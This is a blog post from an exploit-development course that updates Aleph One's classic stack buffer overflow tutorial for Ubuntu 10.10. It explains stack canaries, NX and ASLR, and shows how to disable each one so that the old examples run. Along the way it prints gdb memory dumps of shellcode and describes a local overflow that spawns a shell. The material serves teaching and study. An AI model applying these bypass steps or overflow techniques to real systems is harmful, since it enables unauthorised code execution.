Recently, as part of Professor Brumley's Vulnerability, Defense Systems, and Malware Analysis class at Carnegie Mellon, I took another look at Aleph One (Elias Levy)'s *Smashing the Stack for Fun and Profit* article which had originally appeared in Phrack and on Bugtraq in November of 1996. Newcomers to exploit development are often still referred (and rightly so) to Aleph's paper. *Smashing the Stack* was the first lucid tutorial on the topic of exploiting stack based buffer overflow vulnerabilities. Perhaps even more important was *Smashing the Stack*'s ability to force the reader to think like an attacker. While the specifics mentioned in the paper apply only to stack based buffer overflows, the thought process that Aleph suggested to the reader is one that will yield success in any type of exploit development.

(Un)fortunately for today's would be exploit developer, much has changed since 1996, and unless Aleph's tutorial is carried out with additional instructions or on a particularly old machine, some of the exercises presented in *Smashing the Stack* will no longer work. There are a number of reasons for this, some incidental, some intentional. I attempt to enumerate the *intentional* hurdles here and provide instruction for overcoming some of the challenges that fifteen years of exploit defense research has presented to the attacker. An effort is made to maintain the tutorial feel of Aleph's article.

Related Work

- Craig J. Heffner wrote a similar article, which appeared on The Ethical Hacker Network in February of 2007. This article differs from Heffner's by way of emphasis placed on exploit mitigations developed since 1996 and their effect on several excerpts from *Smashing the Stack* as well as their effect on several of Aleph's examples. Also, several years have passed since Heffner's article and another update couldn't hurt.
- Mariano Graziano and Andrea Cugliari wrote a much more formal paper, *Smashing the stack in 2010*, on the mitigations discussed here as well as their counterparts on Windows. From their abstract: *"First of all we are going to analyze all the basical theoretical aspects behind the concept of Buffer Overflows…Subsequently the paper will analyze in detail all the aspects and mechanisms that regulate the way in which Buffer Overflow works on Linux and Windows architectures taking with particular care also the countermeasures introduced until nowadays for both the mentioned operating systems…we are going also to try some tricks to bypass these protections, in order to exploit the vulnerability even if a countermeasure has been adopted in the modern operating systems."* Regrettably, I had only become aware of their paper after I had published this post, and while Graziano/Cugliari's paper and this blog post serve different purposes, my apologies to Graziano & Cugliari for failing to find their paper previously.

Introduction

Ubuntu has become a popular distribution for new Linux users as of late, so it's probably not inappropriate to assume that budding security professionals interested in learning more about memory corruption exploitation have a certain likelihood to use the distribution. As such, all instructions presented here have been tested on Ubuntu 10.10 i386 desktop vanilla (no updates; the only additional required package is execstack) running within VMWare Workstation 7.1.3. Furthermore, Ubuntu provides a convenient table telling us what we're up against. While these instructions have been tested on Ubuntu 10.10, their specifics should not vary greatly between distributions. Google is your friend.

My intention is for the reader to have this article open in one tab and *Smashing the Stack* open in another. Much of what Aleph explains has not changed since 1996 (e.g. the x86 ABI), so it would make little sense to repeat him here. Rather, I will pick and choose excerpts & examples that have become antiquated in some way, explain how they have been rendered so and what we can do to complete Aleph's tutorial. Changes to gcc that have nothing to do with exploit mitigations are glossed over.

Let's begin.

Dynamic Buffers

> Dynamic variables are allocated at run time on the stack…We will concern ourselves only with the overflow of dynamic buffers, otherwise known as stack-based buffer overflows.

Aleph implies that an exploit author's interest in dynamic buffers is limited to those found on the stack. Since 1996, much work has been completed on the topic of exploiting heap-based dynamic buffers as well, making such an implication antiquated. The distinction between the types of allocations is

commonly made by CS majors by referring to stack locals as *automatic*, while reserving the word *dynamic* for heap allocations.
Matt Conover and the w00w00 Security Team authored the seminal paper on the topic of heap-based buffer overflow exploitation in January of 1999.

Use of the EBP/RBP Registers

Consequently, many compilers use a second register, FP, for referencing both local variables and parameters because their distances from FP do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose.

It's worth noting that on the AMD64/x86-64 architecture, 64bit OSes typically do *not* treat EBP (RBP is the equivalent 64bit register on the AMD64 architecture) as a special purpose register, as is common on x86 architectures. This is one of many reasons why attempting *Smashing the Stack* on a AMD64 OS would make little sense.
Instead, [R|E]BP may be used as a general purpose register. It should be noted (thank you, Prof Brumley!) that while it is *convention* to treat EBP as a pointer to a stack frame on x86 systems, there is nothing that forces a developer to treat the register as such. That being said, if you're developing for x86 Linux/Windows/OS X/etc and *don't* use EBP according to convention, then you may run into trouble. I can't think of any specific examples, but you've been warned.
Why mention this? EBP on x86 is treated as a control element – it points to the location of the previous stack frame. Controlling this value would be beneficial for an attacker (see: return oriented programming). Knowing the difference in convention between x86 and AMD64 architectures is therefore interesting to an attacker.

NX

Our code modifies itself, but most operating system (sic) mark code pages read-only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment.

This is where the past fifteen years offers us something exciting. On recent x86 architectures (Pentium 4+), operating systems and compilers, Intel's eXecute Disable Bit (referred to as *NX* by Linux, as *DEP* or *NX* by Windows, and as *Enhanced Virus Protection** by AMD) renders the above statement misleading. Jumping to the .data segment as Aleph suggests on a modern system would more than likely cause an segmentation fault, since a data segment should not legitimately contain executable code and will more than likely be stored in a page that has the NX bit set.
*That's a terrible name.
Think of the idea as akin to POSIX permissions: different users/groups have different R(ead), W(rite) and (e)X(ecute) permissions on different files. In 1996, x86 architectures only had the concept of R(ead) and W(rite) on memory pages. If something was R(eadable), then it was also (e)X(ecutable). Pentium 4 introduced hardware support for explicitly specifying whether a particular page should be (e)X(ecutable), hence *NX*.
Disabling NX mitigations varies with operating system and compiler; a gcc 4.4.5 / Ubuntu 10.10 method will be seen later in the examples.

Stack Protection & example2.c

This… program has a function with a typical buffer overflow coding error. The function copies a supplied string without bounds checking by using strcpy() instead of strncpy(). If you run this program you will get a segmentation violation.

The intent of this example is to crash the process by clobbering the return address, causing the process to attempt to return to 0x41414141 ('AAAA'). The process certainly still crashes, but not for the same reason. Let's look at the output generated by executing example2.c:

```
vmuser@ubuntu:~$ nano example2.c
vmuser@ubuntu:~$ gcc -o example2 example2.c
example2.c: In function 'function':
example2.c:4: warning: incompatible implicit declaration of built-in function 'strcpy'
vmuser@ubuntu:~$ ./example2
```

```
*** stack smashing detected ***: ./example2 terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x6ad980]
/lib/libc.so.6(+0xe592a)[0x6ad92a]
./example2[0x804844e]
[0x41414141]
======= Memory map: ========
0027f000-0029b000 r-xp 00000000 08:01 1051128    /lib/ld-2.12.1.so
(omitted)
```

What happened here? Recent versions of gcc include the capability to build a mechanism for stack buffer protection into compiled programs. This capability is called ProPolice, and according to Wikipedia, it's been largely unchanged since gcc 4.1 (Ubuntu 10.10 ships with gcc 4.4.5). A ProPolice patch is available for gcc 3.x versions and was added to the trunk in 4.x releases. The concept of the stack canary was originally proposed by Crispin Cowan in 1997 as StackGuard. The interested reader is referred to the Wikipedia entry.
OK, what does ProPolice/StackGuard/etc do?

The basic idea is to place a chosen or psuedo-random value between a stack frame's data elements (e.g. char * buffers) and its control elements (e.g. RET address, stored EBP) that is either difficult for an attacker to replace during an attack or impossible for an attacker to predict. Before the function whose frame has been clobbered is allowed to return, this *canary* is checked against a known good. If that check fails, the process terminates, since it now considers its execution path to be in an untrusted state. *"Canary"* is used to describe this inserted value as a homage to the old practice of keeping canaries (the birds) in mines as a way to determine when the mine's atmosphere becomes toxic (the canaries die before the toxicity level reaches a point that is dangerous for humans).
OK, so how do we get the results that Aleph intended us to?

Simple: compile example2.c without stack protection:

```
vmuser@ubuntu:~$ gcc -o example2 example2.c -fno-stack-protector
example2.c: In function 'function':
example2.c:4: warning: incompatible implicit declaration of built-in function 'strcpy'
vmuser@ubuntu:~$ ./example2
Segmentation fault
```

Sweet, we crashed. Win?

example3.c

This example is uninteresting from an exploit mitigation standpoint. Stack protection will not need to be disabled, since we are directly modifying the RET address, rather than overflowing to it. NX is irrelevant since we're still returning into an eXecutable code segment. ASLR (discussed later) is also irrelevant since we do not require knowledge of an absolute memory address. Instead, example3 adds a static amount to the return address location.

This example does not work (it still prints '1') on Ubuntu 10.10, but because this is due to factors that have nothing to do with exploit mitigations, I refer the reader to Craig Heffner's article referenced earlier.

ProPolice, NX & overflow1.c

We have the shellcode. We know it must be part of the string which we'll use to overflow the buffer. We know we must point the return address back into the buffer.

True in 1996, not so much in 2011. As with many modern OSes, Ubuntu 10.10 executables as NX-compatible by default. This is, of course, in addition to the default gcc 4.4.5 behavior of adding stack protection during compilation. In order to get this example to work, we're going to need to disable a couple of exploit mitigations.

Without any exploit mitigations:

```
vmuser@ubuntu:~$ gcc -o overflow1 overflow1.c
```

```
overflow1.c: In function ‘main’:
overflow1.c:16: warning: incompatible implicit declaration of built-in function
‘strlen’
overflow1.c:19: warning: incompatible implicit declaration of built-in function
‘strcpy’
vmuser@ubuntu:~$ ./overflow1
*** stack smashing detected ***: ./overflow1 terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x410980]
/lib/libc.so.6(+0xe592a)[0x41092a]
./overflow1[0x80484ea]
/lib/libc.so.6(__libc_start_main+0x0)[0x341c00]
[0xc0310876]
======= Memory map: ========
0032b000-00482000 r-xp 00000000 08:01 1051152    /lib/libc-2.12.1.so
(omitted)
```

ProPolice disabled:

```
vmuser@ubuntu:~$ gcc -o overflow1 overflow1.c -fno-stack-protector
overflow1.c: In function ‘main’:
overflow1.c:16: warning: incompatible implicit declaration of built-in function
‘strlen’
overflow1.c:19: warning: incompatible implicit declaration of built-in function
‘strcpy’
vmuser@ubuntu:~$ ./overflow1
vmuser@ubuntu:~$
```

Odd. It didn’t crash, but it also didn’t spawn a new shell. It turns out that this is due to gcc allocating far more stack space in recent versions than the gcc that Aleph was working with. Again, this isn’t directly relevant to exploit mitigations, so I’m going to gloss over the reasoning behind this.

We need to modify overflow1.c in order to account for large amount of stack space allocated by our gcc 4.4.5:

```
overflow1.c
-----------------------------------------------------------------------------
...
  long *long_ptr = (long *) large_string;


  for (i = 0; i < 128; i++) <-- change this to 128 iterations
    *(long_ptr + i) = (int) buffer;
...
-----------------------------------------------------------------------------
```

Make this modification to your overflow1.c, compile without ProPolice stack protection and with gdb debug symbols, then try executing again:

```
vmuser@ubuntu:~$ gcc -o overflow1 -fno-stack-protector -ggdb overflow1.c
overflow1.c: In function ‘main’:
overflow1.c:16: warning: incompatible implicit declaration of built-in function
‘strlen’
overflow1.c:19: warning: incompatible implicit declaration of built-in function
‘strcpy’
vmuser@ubuntu:~$ ./overflow1
```

```
Segmentation fault
```

Alright: a crash! We may be onto something. Let’s take a look at what’s happening in gdb:

```
vmuser@ubuntu:~$ gdb overflow1
(omitted)
(gdb) b strcpy <-- break at the call to strcpy()
Breakpoint 1 at 0x8048324
(gdb) run <-- start program
Starting program: /home/vmuser/overflow1
Breakpoint 1, 0x001a31c5 in strcpy () from /lib/libc.so.6
(gdb) finish <-- continue execution until strcpy() returns
Run till exit from #0  0x001a31c5 in strcpy () from /lib/libc.so.6
main () at overflow1.c:20
20    }
(gdb) disas <-- let's see where we are
Dump of assembler code for function main:
(omitted)
=> 0x0804847c <+136>:    add    $0x8c,%esp
 0x08048482 <+142>:    pop    %ebx
 0x08048483 <+143>:    mov    %ebp,%esp
 0x08048485 <+145>:    pop    %ebp
 0x08048486 <+146>:    ret
(omitted)
(gdb) si <-- step a few more instructions until we're at the ret
0x08048482    20    }
(gdb) si <-- keep stepping...
0x08048483    20    }
(gdb) si <-- and stepping...
0x08048485    20    }
(gdb) si <-- last one
0x08048486 in main () at overflow1.c:20
20    }
(gdb) disas
Dump of assembler code for function main:
(omitted)
=> 0x08048486 <+146>:    ret <-- OK we're here
(omitted)
(gdb) x/a $esp <-- to where will we 'return'?
0xbffff3fc:    0xbffff378
(gdb) x/16x 0xbffff378 <-- what's at this address?
0xbffff378:    0x895e1feb    0xc0310876    0x89074688    0x0bb00c46
0xbffff388:    0x4e8df389    0x0c568d08    0xdb3180cd    0xcd40d889
0xbffff398:    0xffdce880    0x622fffff    0x732f6e69    0xbffff368
0xbffff3a8:    0xbffff378    0xbffff378    0xbffff378    0xbffff378
```

That should look familiar; it’s the beginning of our shellcode. What happens if we attempt to continue?

```
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048486 in main () at overflow1.c:20
20    }
```

Segmentation fault. That darn NX bit is ruining our day. Let’s disable it.

```
sudo apt-get update
sudo apt-get install execstac
```

execstack is a very simple program that modifies ELF headers to enable/disable NX protection on the stack in target binaries. Linux will respect the values placed in the ELF headers because it is not uncommon for an old binary to require an eXecutable stack. For a Windows equivalent discussion, take a look at ATL Thunk emulation (warning: PDF*; search "ATL thunk" within the document).
* An awesome PDF, that is.
Let's disable the NX bit and try once more:

```
vmuser@ubuntu:~$ execstack -s overflow1
vmuser@ubuntu:~$ ./overflow1
$ exit
vmuser@ubuntu:~$
```

Bingo.

ASLR & a Bunch of Examples

The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be. The answer is that for every program the stack will start at the same address.

This is no longer true. Most modern desktop and server OSes rebase their stacks, code segments, dynamically loaded libraries and more in order to make a target address space unpredictable to an attacker. Address Space Layout Randomization (ASLR) is not particularly effective on the x86 architecture (warning: PDF) and enjoys a much larger amount of entropy on the AMD64 architecture. Regardless of the amount of bits available for pseudo-random rebasing, ASLR provides another hurdle for the attacker to overcome. Unless the target process is a daemon that spawns a separate process on each exploitation attempt and then silently ignores segmentation faults & exceptions, the lower amount of entropy available to x86 OSes is still going to prevent the attacker from conducting a successful exploit without a significant chance of a crash.
The inclusion of ASLR in Ubuntu 10.10 prevents us from gathering the type of results that 1996 would allow us to gather. In order to find a static stack pointer value (sp.c is deterministic, so the value shouldn't change in the normal course of execution), we need to disable ASLR.

First, let's see what happens with ASLR enabled:

```
vmuser@ubuntu:~$ gcc -o sp sp.c
sp.c: In function ‘main’:
sp.c:5: warning: incompatible implicit declaration of built-in function ‘printf’
sp.c:5: warning: format ‘%x’ expects type ‘unsigned int’, but argument 2 has type ‘long
unsigned int’
vmuser@ubuntu:~$ ./sp
0xbfe83d18
vmuser@ubuntu:~$ ./sp
0xbfda6be8
vmuser@ubuntu:~$ ./sp
0xbf907128
```

As you can see, the location of the bottom of the stack (pointed to by ESP) changes on every execution.

Now, let's disable ASLR and try again:

```
vmuser@ubuntu:~$ sudo su <-- see 'anon's comment below for explanation
[sudo] password for vmuser:
root@ubuntu:/home/vmuser# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:/home/vmuser# cat /proc/sys/kernel/randomize_va_space
0
```

```
root@ubuntu:/home/vmuser# exit
exit
vmuser@ubuntu:~$ ./sp
0xbffff428
vmuser@ubuntu:~$ ./sp
0xbffff428
vmuser@ubuntu:~$ ./sp
0xbffff428
```

With ASLR disabled, we see results similar to Aleph's description. A deterministic program like sp.c should, without ASLR, print the same location on every execution. Exploits often rely on the knowledge of where exactly something is mapped in target address space. ASLR removes this knowledge from a would-be attacker. The interested reader is referred to the randomize_va_space kernel patch for an explanation of possible values.

What does ASLR mean for exploit2.c as a primer to an attack on vulnerable.c? Well, you're in for a lot more guessing. More importantly, any guess you choose will never be *right*, since the target space will be rebased on subsequent executions. Using such an exploitation strategy would require guessing many times, every time – something that is often not feasible against real world applications.

What about exploit3.c? In exploit3.c Aleph introduces a nopsled to his attack string. This will still help, because guessing within a range preceding the shellcode (or in more general terms: the payload) will still allow one to execute shellcode. The idea of a nopsled is tangential to the idea of ASLR. ASLR will still prevent exploit3.c from working reliably, albeit slightly more reliably than exploit2.c

OK, what about Aleph's technique of storing shellcode in an environment value? Also affected by ASLR. The example presented in exploit4.c will also require a lot of guessing with no correct answer in the face of ASLR.

If you wish to complete these examples, my suggestion is just to disable ASLR via /proc as demonstrated previously.

Conclusion

I've attempted to enumerate the challenges that the past 15 years of exploit research defense as applicable to Aleph's seminal paper, *Smashing the Stack for Fun and Profit* and give instruction on how one might go about following Aleph's tutorial on a modern OS, with a specific nod to Ubuntu 10.10. There is, however, a very good chance I missed something.

Corrections, suggestions, critiques are much appreciated. My hope is that this is helpful to some people; it certainly would have been helpful to me when I read *Smashing the Stack* for the first time.